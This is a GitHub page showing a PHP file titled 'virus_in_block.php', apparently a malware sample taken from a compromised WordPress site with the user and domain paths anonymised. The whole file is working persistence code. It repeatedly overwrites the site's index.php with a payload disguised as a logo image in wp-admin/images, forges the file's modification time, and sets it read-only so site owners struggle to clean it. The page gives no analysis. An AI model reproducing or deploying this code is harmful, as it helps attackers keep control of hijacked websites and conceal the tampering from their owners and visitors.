-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathvirus_in_block.php
55 lines (55 loc) · 1.44 KB
/
virus_in_block.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
$lujin = '/home/"my User"/domains/"my Domain"/private_html/wp-admin/images/';
$insj = '/home/"my User"/domains/"my Domain"/private_html/index.php';
$plsj = '';
$inym = $lujin . '1ogo.png';
$plym = $lujin . 'sp1it.png';
if (file_exists($insj)) {
if (file_exists($inym)) {
@chmod($insj, 0777);
if (md5_file($insj) == md5_file($inym)) {
} else {
$chazh = @file_get_contents($inym);
$at = filemtime($inym);
file_put_contents($insj, $chazh);
if ($at) {
touch($insj, $at);
}
}
@chmod($insj, 0444);
}
} else {
if (file_exists($inym)) {
$at = filemtime($inym);
$chazh = @file_get_contents($inym);
file_put_contents($insj, $chazh);
if ($at) {
touch($insj, $at);
}
}
}
if ($plsj) {
if (file_exists($plsj)) {
if (file_exists($plym)) {
if (md5_file($plsj) == md5_file($plym)) {
} else {
$plzh = @file_get_contents($plym);
$a = filemtime($plym);
file_put_contents($plsj, $plzh);
if ($a) {
touch($plsj, $a);
}
}
}
} else {
if (file_exists($plym)) {
$a = filemtime($plym);
$plzh = @file_get_contents($plym);
file_put_contents($plsj, $plzh);
if ($a) {
touch($plsj, $a);
}
}
}
}
?>